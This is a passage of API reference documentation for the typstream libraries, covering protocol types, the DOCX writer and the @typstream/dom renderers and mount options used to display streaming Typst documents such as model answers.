| --------- | ----------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| `ops`     | `Uint8Array<ArrayBufferLike>` | The operations: little-endian 32-bit floats.                                                                         |
| `strings` | `string[]`                    | What the operations name by index: colours, SVG path data, image URLs.                                               |
| `glyphs`  | `[string, string][]`          | Glyph outlines the operations draw, as `[key, path]`: SVG path data in font units, the same for a key on every page. |
| `links`   | `PageLink[]`                  | Its links to URLs.                                                                                                   |

### PageLink

A link to a URL on a drawn page: the box around its area, in points from
the page's top left.

| Prop     | Type     | Description                                                     |
| -------- | -------- | --------------------------------------------------------------- |
| `url`    | `string` | As the document wrote it. Untrusted: the renderer sanitizes it. |
| `x`      | `number` | Left edge.                                                      |
| `y`      | `number` | Top edge.                                                       |
| `width`  | `number` | Across, so the link covers its text however the page is scaled. |
| `height` | `number` | Down, from `y`.                                                 |

#### `PagedIsland` (beta)

An island marker in a paged artifact: where on its page an island goes, from layout. Every paged artifact lists them
all, whichever pages it holds.

### PagedIsland

An island marker in the paged target: a `metadata` labelled
`<typstream-island>` (`ISLAND_MARKER`) at the top left of its block, found by
the engine in the laid-out document. Positions are in points from the page's
top left; they come from layout, however the page is drawn.

| Prop     | Type             | Description                                                                                                 |
| -------- | ---------------- | ----------------------------------------------------------------------------------------------------------- |
| `name`   | `string`         | The `name` of the marker's value.                                                                           |
| `data`   | `unknown`        | The `data` of the marker's value, untrusted.                                                                |
| `page`   | `number`         | Zero-based index of the page it's on.                                                                       |
| `x`      | `number`         | The block's left edge, in points from the page's left edge.                                                 |
| `y`      | `number`         | The block's top edge, in points from the page's top edge.                                                   |
| `width`  | `number`         | The `width` of the marker's value: the block's width, in points.                                            |
| `height` | `number`         | The `height` of the marker's value: the fallback's height, in points.                                       |
| `from`   | `number \| null` | Offset of the marker's call in the text the client sent (the healed source), or `null` when it isn't in it. |

#### `TextRun`

A run of text drawn on a page, for a selectable text layer. In points from the page's top left: `(x, y)` is the start
of the baseline (its left end, whatever the direction).

### TextRun

A run of text drawn on a page, for a selectable text layer (the SVG draws
glyphs as paths). In points from the page's top left: `(x, y)` is the start
of the baseline (its left end, whatever the direction), `width` the run's
advance, `size` its font size.

| Prop      | Type                                            | Description                                                                                            |
| --------- | ----------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
| `text`    | `string`                                        | The run's characters, in reading order.                                                                |
| `x`       | `number`                                        | Left end of the baseline, in points from the page's left edge.                                         |
| `y`       | `number`                                        | The baseline, in points from the page's top edge.                                                      |
| `size`    | `number`                                        | Font size, in points.                                                                                  |
| `width`   | `number`                                        | The run's advance along the baseline, in points.                                                       |
| `matrix?` | `[number, number, number, number] \| undefined` | `[a, b, c, d]` of an SVG `matrix()` (translation is `x`/`y`); only for rotated, skewed or scaled text. |
| `lang?`   | `string \| undefined`                           | The run's language (`en`, `zh-CN`), only when it differs from the page's.                              |
| `dir?`    | `"ltr" \| "rtl" \| undefined`                   | The direction the run was set in, only when it differs from the page's (and is known).                 |

#### `TextNode`

A structure element around some of a page's text runs: a heading, a list or its item, a table, a row or a cell.

### TextNode

A structure element around some of a page's text runs: a heading, a list or
its item, a table, a row or a cell.

| Prop        | Type                                                                                | Description                                                                                                         |
| ----------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------- |
| `role`      | `"cell" \| "columnheader" \| "heading" \| "list" \| "listitem" \| "row" \| "table"` | The ARIA role a text layer gives it.                                                                                |
| `level?`    | `number \| undefined`                                                               | A heading's `aria-level`: the document's title is 1 and a Typst heading of level n is n + 1, as in the HTML target. |
| `from`      | `number`                                                                            | Its runs are the page's `text[from..to)` (none for an empty cell).                                                  |
| `to`        | `number`                                                                            | End of its runs (exclusive).                                                                                        |
| `children?` | `TextNode[] \| undefined`                                                           | The elements inside it, in order.                                                                                   |

### Exports

```ts
type ExportFormat = "pdf" | "html";
type ExportResult<Data> = DocumentParams & { diagnostics: Diagnostic[] } & (
  | { status: "ok"; data: Data }
  | { status: "error" }
);
```

`export/pdf` and `export/html` take `ExportParams` (`uri`, `rev`, optional `inputs`) and export the current revision
in a final, anchor-free form. `error` means the document doesn't compile; diagnostics are included either way.

### Resolving positions (beta)

<Callout type="warn" title="Beta">
`resolve/span` and `resolve/location` are reserved for click-to-edit and cursor sync, and their types (`PagePoint`,
`ResolveSpanParams`, `ResolveSpanResult`, `ResolveLocationParams`, `ResolveLocationResult`) may change. Servers
announce them with `capabilities.resolveSpan` and `resolveLocation`.
</Callout>

`resolve/span` takes a `point` (`{ page, x, y }` in points) and returns the source `span` that produced it, or `null`.
`resolve/location` takes an `offset` and returns every `locations` point it was laid out at.

### Errors

```ts
type ErrorCode =
  | "not-initialized"
  | "protocol-version-mismatch"
  | "method-not-found"
  | "invalid-params"
  | "document-not-open"
  | "document-already-open"
  | "stale-revision"
  | "content-modified"
  | "request-cancelled"
  | "unsupported"
  | "internal";

interface ResponseError {
  code: ErrorCode;
  message: string;
  data?: unknown;
}
```

Protocol failures only: a document that doesn't compile is a successful `compile` with `status: "error"`.
`stale-revision` is an edit whose `rev` doesn't exceed the current one; `content-modified` is a compile, export or
resolve for a revision that is no longer current.

#### `ProtocolError`

```ts
class ProtocolError extends Error {
  constructor(code: ErrorCode, message: string, data?: unknown);
  readonly code: ErrorCode;
  readonly data: unknown;
  static from(e: ResponseError): ProtocolError;
  toJSON(): ResponseError;
}
```

A protocol failure as a throwable. Errors lose their class when posted, so the wire carries a `ResponseError`; convert
with `ProtocolError.from()` and `toJSON()`.

## Serialization

### `serializeMessage`

```ts
const serializeMessage: (message: unknown) => string;
```

Writes a protocol message (or any plain data holding `Uint8Array`s) as JSON text, for transports that can't
structured-clone, such as a WebSocket. Bytes (files, PDF exports) are written as `{ "$bytes": "<base64>" }`.

### `deserializeMessage`

```ts
const deserializeMessage: (text: string) => unknown;
```

Parses text written by `serializeMessage`, restoring the `Uint8Array`s. It only parses: validate the result before
trusting it.

```ts
socket.send(serializeMessage(message));
socket.onmessage = (e) => server.receive(deserializeMessage(e.data) as ClientMessage);
```

## See also

- [Writing a plugin](/docs/guides/writing-a-plugin)
- [Plugins](/docs/concepts/plugins)
- [Telemetry](/docs/guides/telemetry)
- [Remote engine](/docs/guides/remote-engine)
- [`@typstream/engine`](/docs/reference/engine), the client and server that speak the protocol


# @typstream/docx

> The DOCX writer behind exportDocx() — OOXML from the laid-out pages, with Typst's fonts embedded.

Source: https://typstream.vercel.app/docs/reference/docx

`@typstream/docx` writes the DOCX files `exportDocx()` returns (on [`EngineDocument`](/docs/reference/engine),
[`mountTypstream`](/docs/reference/dom), [`<Typstream>`](/docs/reference/react) and
[`render(source, "docx")`](/docs/reference/node)). You don't call it yourself: the engine's server loads it the
first time a document is exported.

**What it writes.** engine-wasm reads the laid-out pages into a document model (`compile_docx_model`): paragraphs
and their runs (font, size, colour), headings, lists with Word numbering, tables and grids with Typst's column
widths and repeated header rows, framed blocks, ruled lines, columns (as Word sections), placed text (as frames at its
page position), page headers and footers with page-number fields, page breaks, every gap Typst made, and equations
as trees shaped after Word's math (OMML), mapped from Typst's own math layout's first step (fractions, scripts and
limits, roots, delimiters, matrices, big operators, functions, accents, aligned lines). What it can't express
otherwise (images, CeTZ canvases, mind maps, edu's drawings, boxes with rounded corners) is a picture of Typst's own
drawing: SVG from typst-svg, and a 300 DPI PNG from typst-render's rasterizer, made in the wasm. This package turns
the model into OOXML with the [layout profile](/docs/concepts/render-targets#layout-profile)'s settings (exact line
pitch, no hyphenation, Word 2013+ layout), embeds the fonts the runs use, obfuscated as ECMA-376 asks, writes each
picture as Word does an SVG (the PNG as the picture, the SVG in Word's `svgBlip` extension) over a paragraph that
holds its room, or anchored to the page where it was `place`d, and zips it.

**Scripts.** A run is written in logical order whatever direction Typst drew it in, with its language (`w:lang`), and
right-to-left text as Word's right-to-left runs (`w:rtl`) in right-to-left paragraphs (`w:bidi`), whose alignment,
indents and list numbers are measured from the right; right-to-left tables keep their columns where Typst drew them.
Arabic dots and Indic vowel signs, which Typst draws apart from their letters, are written once.

**How it's checked.** `tools/docx-check` exports the corpus, has LibreOffice lay each file out and compares its lines
and page breaks with the PDF's (on documents with equations, the text around them, and every equation's letters and
digits; on documents with pictures, the text outside them and each picture's pixels; on documents in other scripts,
each line's text or where its ink starts and ends), and runs Microsoft's Open XML validator on every file.

The package's exports (`writeDocx` and the model's types) are internal: other typstream packages use them.


# @typstream/dom

> Framework-free renderers for typstream's output (HTML and SVG pages), mountTypstream to show an engine document in an element, and standalone HTML exports.

Source: https://typstream.vercel.app/docs/reference/dom

`@typstream/dom` turns the engine's output into DOM, with no framework. It has three layers, and you can use any of
them on its own:

- **`mountTypstream`** shows a streaming document in an element: it opens the document on an engine, feeds it, and
  draws each artifact with the renderer for its target. This is what the framework bindings wrap.
- **The renderers**: `createHtmlRenderer` for the HTML target (sanitized, block-diffed Typst HTML with word fade-in
  and a caret) and `createPagedView` for the paged target (pages painted on canvases, or SVG, changed pages only,
  with a selectable text layer).
- **`standaloneHtml`** and **`standalonePages`**, which make an HTML export a file that opens on its own: Typst's
  HTML in a reading layout, or laid out as the pages.

## When to use it

Use `@typstream/dom` in apps without React (vanilla JS, Vue, Svelte, Solid, Angular), or to build bindings for another
framework. In React, use [`typstream`](/docs/reference/typstream) or [`@typstream/react`](/docs/reference/react),
which wrap `mountTypstream`. Use the renderers directly only when you drive an
[`EngineDocument`](/docs/reference/engine#enginedocument) yourself.

## Install

```npm
npm install @typstream/dom @typstream/engine
```

`mountTypstream` takes an engine from [`@typstream/engine`](/docs/reference/engine). For html-compat's layout support
in the HTML target, add [`@typstream/html-compat`](/docs/reference/html-compat) and pass its plugin.

## Example

```ts
import { mountTypstream } from "@typstream/dom";
import { createEngine, engineWorker } from "@typstream/engine";
import { htmlCompat } from "@typstream/html-compat";

const engine = createEngine({ spawn: engineWorker() });
const options = { engine, plugins: [htmlCompat], isStreaming: true, animated: true, caret: true };

const view = mountTypstream(document.querySelector("#answer")!, { ...options, source: "" });
let text = "";
for await (const chunk of llmStream) view.update({ ...options, source: (text += chunk) });
view.update({ ...options, source: text, isStreaming: false }); // finish: strict compile, no caret
```

The [vanilla JS guide](/docs/getting-started/vanilla) walks through it step by step.

## How `mountTypstream` behaves

- **`update(options)` takes all options each time** and acts only on what changed. Anything left out goes back to its
  default. Plain objects and arrays are compared by value, so passing a fresh `inputs` object doesn't reopen the
  document.
- **Source.** A `source` that extends the last one is pushed as a chunk; any other `source` replaces the text.
  `isStreaming` turning false finishes the document (strict heal, final compile); turning true again starts it over,
  as for a regenerated answer. `stream` (an `AsyncIterable<string>`) is the alternative to `source`: a new stream
  starts the document over, and the document finishes when the stream ends. If the stream throws, what arrived is
  finished and the error goes to `reportError`. Mounts given the same stream share one reader: each shows all of its
  text, including what arrived before it mounted, so a mount replaced while the stream continues loses nothing. The
  stream is closed when a chunk arrives after the last mount reading it is destroyed.
- **In place or a new document.** `target`, `inputs` and `files` change in place, and the latest `resolveImage` is
  the one called. A different `engine`, `plugins`, `preamble` or `template`, `heal` or `schedule` options, adding or
  removing `resolveImage`, or switching to or from the reflow layout opens a new document; the old output stays
  until its first compile.
- **Lazy.** The document opens when the element comes within one screen of the viewport, or as soon as it streams.
  Offscreen, finished documents apply changes when they scroll back. `lazy: false` opens it right away.
- **Renderers follow the artifact's target**, so after `target` changes the old output stays until the first
  artifact of the new target.
- **Callbacks.** `onStatusChange` and `onDiagnostics` follow the document's state. `onRendered` fires for each
  artifact drawn, with its compile's report plus `renderMs` and `blocks` (HTML) or `pages` (paged). `onFallback` and
  `onWatchdog` pass on the document's [events](/docs/reference/core#telemetry-events).
- **`destroy()`** disposes the document and removes what was rendered. The engine is yours and stays.

## API

### `mountTypstream`

```ts
const mountTypstream: (element: HTMLElement, initial: TypstreamOptions) => MountedTypstream;
```

Renders a streaming Typst document into `element` and keeps it up to date. The renderers are added inside `element`
(the HTML renderer in a child `<div>`, the pages in a `.typstream-paged` child).

#### `TypstreamOptions`

### TypstreamOptions

Options of mountTypstream.

| Prop              | Type                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| ----------------- | -------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `engine`          | `Engine`                                                                   | Compiles the document. Documents on one engine share its worker and compile one at a time.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `source?`         | `string \| undefined`                                                      | The document so far: its whole text, growing while it streams.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `stream?`         | `AsyncIterable<string> \| null \| undefined`                               | Chunks to read instead of `source`. The document starts over when a new stream is given, and is complete when the stream ends. A stream is read once, however many mounts are given it: each shows all of its text, including what arrived before it mounted, so a mount replaced while the stream continues (React StrictMode mounts twice) loses nothing. The stream is closed (`return()`) when a chunk arrives after the last mount reading it was destroyed; a mount given it later shows what was read, as a finished document. To show an answer from the start again, pass a new stream. |
| `isStreaming?`    | `boolean \| undefined`                                                     | More `source` is coming. While false (default) the source is complete and compiles strictly (final mode); going back to true starts the document over.                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `streamingRange?` | `Range \| null \| undefined`                                               | While `isStreaming`: the part of `source` being written, in `source`'s offsets, such as a model rewriting one question of a finished document (PLAN §5.2). Only it heals as text being typed; the rest is settled and shows as it did. A finished document given a range streams again without starting over, and finishes when `isStreaming` turns false. Keep it block-aligned, as `EngineDocument.setStreamingRange` says. Ignored with `stream`.                                                                                                                                             |
| `target?`         | `CompileTarget \| undefined`                                               | Default `html`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `layout?`         | `"fit-width" \| "fixed" \| "reflow" \| undefined`                          | Paged target. `fixed` (default): the document's pages at their own size, scaled down to fit the element. `fit-width`: the same pages scaled up or down to the element's width; both show the pages the PDF has. `reflow`: the document laid out again on pages as wide as the element, so lines and pages break elsewhere than in the PDF (for narrow panels).                                                                                                                                                                                                                                   |
| `pageHeight?`     | `"a4" \| "auto" \| undefined`                                              | Paged `reflow` layout: `a4` proportions (default) or one page as tall as the content (`auto`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `preamble?`       | `string \| undefined`                                                      | Typst evaluated before the document, after the plugins' and the template's.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `template?`       | `string \| undefined`                                                      | Name of a template from the plugins' `templates` (the last plugin's, if two have one by that name): its preamble and default inputs apply.                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `inputs?`         | `Record<string, string> \| undefined`                                      | `sys.inputs`, over the template's.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `files?`          | `FileDelta \| undefined`                                                   | Files the document reads (images, data), relative to its root.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `resolveImage?`   | `ImageResolver \| undefined`                                               | Gives the bytes of images the document names but `files` doesn't have, such as URLs a model wrote (`fetchImages({ hosts })` from `@typstream/engine/images` downloads those). Without it nothing is fetched, and such images show as placeholders. The latest one is called, so it may change between updates; adding or removing it reopens the document.                                                                                                                                                                                                                                       |
| `heal?`           | `HealOptions \| undefined`                                                 | Healing options; plugins' heal handlers and lint settings are added to them.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `schedule?`       | `Partial<ScheduleOptions> \| undefined`                                    | Overrides the engine's compile schedule for this document.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `plugins?`        | `readonly TypstreamPlugin[] \| undefined`                                  | Plugins (PLAN §8.0): their engine files, packages, preambles and fixer modules, heal handlers and lint settings, templates, sanitizer allowances and stylesheets. A key given twice is loaded once, as its last definition; plugins load after their dependencies, which must be among them. Fonts load only from the engine's own plugins (`createEngine`); the families font catalogues load (`engine.fontCatalogues`) show in the HTML target too.                                                                                                                                            |
| `stylesheets?`    | `readonly string[] \| undefined`                                           | More CSS for the HTML target, after the plugins'.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `animated?`       | `boolean \| AnimateOptions \| undefined`                                   | Fade in new words while streaming (HTML target). Default false.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `caret?`          | `boolean \| undefined`                                                     | Show a caret after the last text while streaming (HTML target). Default false.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `fonts?`          | `readonly TypstFont[] \| undefined`                                        | HTML target: Typst's fonts, registered as web fonts so the text is set as on the pages (`registerTypstFonts`). The `typstream` package passes the engine's.                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `theme?`          | `"auto" \| "dark" \| "light" \| undefined`                                 | HTML target: `auto` (default) follows the page's `color-scheme`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `linkTarget?`     | `string \| null \| undefined`                                              | `target` of external links; `null` keeps them in the same tab. Default `_blank`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `textLayer?`      | `boolean \| undefined`                                                     | Paged target: selectable text over the pages. Default true.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `renderer?`       | `"canvas" \| "svg" \| undefined`                                           | Paged target: `canvas` (default) paints pages the engine sends as drawings, a millisecond or two per streamed update; `svg` puts every page's SVG in the DOM (12–31 ms per update for a dense page, #14). Pages the engine can't draw are SVG either way.                                                                                                                                                                                                                                                                                                                                        |
| `islands?`        | `Readonly<Record<string, IslandRenderer>> \| undefined`                    | Island renderers by name (PLAN §8.4): markers whose name a plugin declares are mounted over their fallback drawing. Changing the object remounts every island, so keep it stable.                                                                                                                                                                                                                                                                                                                                                                                                                |
| `lazy?`           | `boolean \| undefined`                                                     | Open and compile the document only while the element is near the viewport or the document is streaming. Default true.                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `onStatusChange?` | `((status: DocumentStatus, state: DocumentState) => void) \| undefined`    | The document's status changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `onDiagnostics?`  | `((diagnostics: Diagnostic[], state: DocumentState) => void) \| undefined` | A compile finished with new diagnostics (in input coordinates).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `onRendered?`     | `((event: RenderedEvent) => void) \| undefined`                            | An artifact was handed to the renderer: what its compile cost and took (heal patches, fixers, fallback level) and what drawing it cost. For telemetry (PLAN §8.6); the library sends nothing itself.                                                                                                                                                                                                                                                                                                                                                                                             |
| `onFallback?`     | `((event: FallbackEvent) => void) \| undefined`                            | A compile's output wasn't the document as it is: the last good render stayed, the tail showed as plain text, or blocks showed as error boxes. The event holds the input and healed source, to collect as a test case.                                                                                                                                                                                                                                                                                                                                                                            |
| `onWatchdog?`     | `((event: WatchdogEvent) => void) \| undefined`                            | A compile ran past the watchdog's budget or crashed the worker.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |

#### `MountedTypstream`

### MountedTypstream

A document mounted by mountTypstream.

| Prop           | Type                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                          |
| -------------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `element`      | `HTMLElement`                                               | The element passed to `mountTypstream`.                                                                                                                                                                                                                                                                                                                                                                              |
| `document`     | `EngineDocument \| null`                                    | The engine document; `null` until the element first comes near the viewport (see `lazy`). A new one when the engine, preamble, heal or schedule options change.                                                                                                                                                                                                                                                      |
| `getState`     | `() => DocumentState \| null`                               | The document's state, `null` before it opens.                                                                                                                                                                                                                                                                                                                                                                        |
| `subscribe`    | `(listener: () => void) => () => void`                      | Calls `listener` whenever `getState()` changes; returns the unsubscribe function.                                                                                                                                                                                                                                                                                                                                    |
| `update`       | `(options: TypstreamOptions) => void`                       | Applies new options. Anything left out goes back to its default.                                                                                                                                                                                                                                                                                                                                                     |
| `exportPdf`    | `(options?: TypstreamExportOptions) => Promise<Uint8Array>` | Exports the document as PDF (#18), from the engine that compiles the preview. Its inputs are the template's, `inputs` and `options.inputs`, without reflow's page size, so it prints at the document's own size. Opens a document that hasn't opened yet (see `lazy`). Rejects with the engine's `ExportError`.                                                                                                      |
| `exportHtml`   | `(options?: TypstreamHtmlExportOptions) => Promise<string>` | Exports the document as an HTML file that opens on its own, laid out as the pages (standalonePages; `pages: false` for standaloneHtml's reading layout), with the mount's plugins, `stylesheets`, `theme`, its Typst fonts and the fonts it uses from the engine's font catalogues; `options` add to or override them (a `mathFont`, a `title`). Otherwise as MountedTypstream.exportPdf, `options.inputs` included. |
| `exportDocx`   | `(options?: TypstreamExportOptions) => Promise<Uint8Array>` | Exports the document as an editable DOCX file that Word lays out as the PDF (#131): its paragraphs, lists and tables, Typst's fonts embedded. Equations, images and drawings hold their place as empty space for now. Otherwise as MountedTypstream.exportPdf.                                                                                                                                                       |
| `exportSource` | `() => string`                                              | The source the exports compile (the healed input); opens the document if needed.                                                                                                                                                                                                                                                                                                                                     |
| `destroy`      | `() => void`                                                | Disposes the document and removes what was rendered. The engine stays (it isn't ours).                                                                                                                                                                                                                                                                                                                               |

#### `TypstreamExportOptions`

What `exportPdf` and `exportDocx` take.

### TypstreamExportOptions

Options of a MountedTypstream's exports.

| Prop      | Type                                  | Description                                                                                                                                                          |
| --------- | ------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `inputs?` | `Record<string, string> \| undefined` | `sys.inputs` for this export only, over the template's and the mount's `inputs`: a teacher's copy (`{ showAnswers: "true" }`) of a preview that shows the student's. |

#### `TypstreamHtmlExportOptions`

What `exportHtml` takes: `TypstreamExportOptions`, `StandaloneHtmlOptions`, and `pages`.

### TypstreamHtmlExportOptions

How MountedTypstream.exportHtml makes the file.

| Prop           | Type                                                        | Description                                                                                                                                                                                                                                        |
| -------------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `title?`       | `string \| undefined`                                       | The `<title>`, unless the document sets one (`#set document(title: …)`).                                                                                                                                                                           |
| `pages?`       | `boolean \| undefined`                                      | Laid out as the pages, as the HTML target shows them (standalonePages, the mount's Typst fonts embedded). Default true; `false` gives Typst's HTML in a reading layout (standaloneHtml).                                                           |
| `plugins?`     | `readonly TypstreamPlugin[] \| undefined`                   | Plugins whose `stylesheets` are added after the theme (html-compat's, edu's), in the order given.                                                                                                                                                  |
| `stylesheets?` | `readonly string[] \| undefined`                            | CSS added after the theme and the plugins' stylesheets: an app's own.                                                                                                                                                                              |
| `theme?`       | `"auto" \| "dark" \| "light" \| undefined`                  | `light` (default: files get printed and shared), `dark`, or `auto` (follows the reader's system).                                                                                                                                                  |
| `mathFont?`    | `string \| URL \| Uint8Array<ArrayBufferLike> \| undefined` | New Computer Modern Math for MathML, which browsers need to stretch delimiters (PLAN §6.5): the font file's bytes to embed (~0.7 MB as base64), or an absolute URL to load it from. Without it, readers' browsers use their own math font, if any. |
| `fonts?`       | `readonly LoadedFontFamily[] \| undefined`                  | Families loaded from font catalogues (`Engine.fonts`): those the document uses load from their URLs, which the file's policy allows.                                                                                                               |
| `inputs?`      | `Record<string, string> \| undefined`                       | `sys.inputs` for this export only, over the template's and the mount's `inputs`: a teacher's copy (`{ showAnswers: "true" }`) of a preview that shows the student's.                                                                               |

The exports compile the document in final mode with the template's inputs, your `inputs` and the export's own
(`exportPdf({ inputs })`, for that export only), without the reflow page size, so they come out at the document's
own size. They reject with the engine's
[`ExportError`](/docs/reference/engine#exporterror). See [Exports](/docs/guides/exports).

```ts
const pdf = await view.exportPdf();
const key = await view.exportPdf({ inputs: { showAnswers: "true" } });
const file = await view.exportHtml({ title: "Fractions worksheet" });
```

### `createHtmlRenderer`

```ts
const createHtmlRenderer: (root: HTMLElement, options?: HtmlRendererOptions) => HtmlRenderer;
```

Renders Typst HTML artifacts into `root`, keeping the DOM of unchanged blocks across updates. Each update splits the
HTML into top-level blocks as strings, keeps every block whose string is unchanged (its DOM nodes are never
re-created), and parses, sanitizes and inserts only the rest. A stream usually changes only the last block.

```ts
const renderer = createHtmlRenderer(element, { plugins: [htmlCompat] });
doc.subscribe((s) => {
  if (s.artifact?.target === "html") renderer.update(s.artifact.html, { animate: !s.final, caret: !s.final });
});
```

What the renderer does with the HTML:

- **Sanitizes it.** The document's HTML is untrusted. It is parsed into an inert `<template>` and cleaned by an
  allowlist of the HTML, MathML and SVG Typst writes; plugins' `sanitize` facets allow more. The cleaned nodes are
  moved into the page, never serialized and parsed again. Inline styles are applied through the CSSOM, so a strict
  CSP needs no `'unsafe-inline'` for styles.
- **Scopes ids.** Ids and the links to them get a prefix (`idPrefix`), so documents on one page don't collide.
- **Opens external links in a new tab** (`linkTarget`, default `_blank`).
- **Marks source anchors.** Each top-level block's first element gets `data-typstream-src`, its offset in the
  compiled source, and `data-typstream-start` when the block starts in the source (after a blank line, or a heading).
- **Lays it out on pages.** The document goes on sheets of its page size and margins (html-compat writes them),
  scaled as the paged view scales its pages (`layout`), and breaks across them where Typst breaks its pages: lines
  with Typst's orphans and widows, table rows, blocks that don't break, headings kept with what follows, forced and
  weak page breaks. Headers and footers go on every sheet with its number, and footnotes at the foot of the page their
  reference is on (Typst's endnotes stay at the end for screen readers, out of sight). Columns fill as Typst's do, fractional
  spacing takes what its page or line leaves, and aligned blocks sit in the room their page leaves. With the
  engine's fonts registered (`registerTypstFonts`) and html-compat, a document looks as it does on the paged view's
  pages. It is laid out again when the root's width changes and when fonts finish loading; `onPages` hears the page
  count.
- **Sets the language and direction** on `root` from the document's `lang`, so right-to-left documents order lists
  and tables correctly.

#### `HtmlRendererOptions`

### HtmlRendererOptions

Options for createHtmlRenderer.

| Prop            | Type                                                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| --------------- | ------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `theme?`        | `"auto" \| "dark" \| "light" \| undefined`              | `auto` (default) follows the page's `color-scheme`; `light` and `dark` force one.                                                                                                                                                                                                                                                                                                                                                                                 |
| `animation?`    | `AnimateOptions \| undefined`                           | Word fade-in settings, used by updates with `animate`.                                                                                                                                                                                                                                                                                                                                                                                                            |
| `idPrefix?`     | `string \| undefined`                                   | Prefix for the document's ids (and the links to them), so documents on one page don't collide. Default: unique per renderer.                                                                                                                                                                                                                                                                                                                                      |
| `plugins?`      | `readonly TypstreamPlugin[] \| undefined`               | Plugins whose `sanitize` facet allows more tags and attributes, and whose `stylesheets` are injected before `stylesheets` (html-compat's, for one), in the order given (mountTypstream passes the engine's resolved list, dependencies first).                                                                                                                                                                                                                    |
| `linkTarget?`   | `string \| null \| undefined`                           | `target` of links to http(s) URLs; `null` keeps them in the same tab. Default `_blank`.                                                                                                                                                                                                                                                                                                                                                                           |
| `stylesheets?`  | `readonly string[] \| undefined`                        | More CSS to inject next to the renderer's own and the plugins'. Injected once per document or shadow root, as constructable stylesheets where supported (no `style-src 'unsafe-inline'` needed).                                                                                                                                                                                                                                                                  |
| `injectStyles?` | `boolean \| undefined`                                  | Inject htmlRendererCss, the plugins' stylesheets and `stylesheets`. Default true; pass false to ship them yourself.                                                                                                                                                                                                                                                                                                                                               |
| `islands?`      | `Readonly<Record<string, IslandRenderer>> \| undefined` | Island renderers by name (PLAN §8.4): each `typstream-island` marker whose name a plugin in `plugins` declares is mounted over its fallback.                                                                                                                                                                                                                                                                                                                      |
| `file?`         | `((path: string) => FileContent \| null) \| undefined`  | What islands get as `IslandProps.file`: the document's files. Default: none.                                                                                                                                                                                                                                                                                                                                                                                      |
| `layout?`       | `"fit-width" \| "fixed" \| "reflow" \| undefined`       | How the document's pages are shown, as the paged view's layouts: `fixed` (default), its pages at their own size, scaled down to fit the element; `fit-width`, scaled to the element's width; `reflow`, pages as wide as the element (open the document with the paged view's `REFLOW_PREAMBLE` and `reflowInputs`, which html-compat reads). The document is laid out on sheets of its page size and margins and breaks across them where Typst breaks its pages. |
| `onPages?`      | `((count: number) => void) \| undefined`                | Called when the number of pages changes. A document whose headers or footers show the page count (`counter(page).final()`) reads it from the input `typstream-page-count` (html-compat): `mountTypstream` sets it and compiles again.                                                                                                                                                                                                                             |

#### `HtmlRenderer`

### HtmlRenderer

A rendered HTML document.

| Prop          | Type                                                              | Description                                                                                                                                                                                                                                                                                                                                                        |
| ------------- | ----------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `root`        | `HTMLElement`                                                     | The element the document is rendered into.                                                                                                                                                                                                                                                                                                                         |
| `update`      | `(html: string, options?: HtmlUpdateOptions) => HtmlUpdateResult` | Shows `html` (a Typst HTML export, untrusted), changing only what differs from the last update.                                                                                                                                                                                                                                                                    |
| `sourceRange` | `(node: Node) => { from: number; to: number \| null; } \| null`   | The source range of the top-level block containing `node`: from its anchor to the next one, `to` being `null` for the last. Offsets are in the compiled document (the healed source, without the preamble; map them to the raw stream with heal's `map.toInput`). `null` for nodes outside a block, or blocks without an anchor (before the first one, footnotes). |
| `blockAt`     | `(offset: number) => Element \| null`                             | The top-level block whose source range contains `offset`, if any.                                                                                                                                                                                                                                                                                                  |
| `clear`       | `() => void`                                                      | Removes the document. The renderer can be updated again.                                                                                                                                                                                                                                                                                                           |
| `dispose`     | `() => void`                                                      | Removes the document and everything the renderer added to `root`.                                                                                                                                                                                                                                                                                                  |

<Callout type="warn" title="Beta">
`sourceRange()` and `blockAt()` are beta: they may change before the first stable release. Their offsets are in the
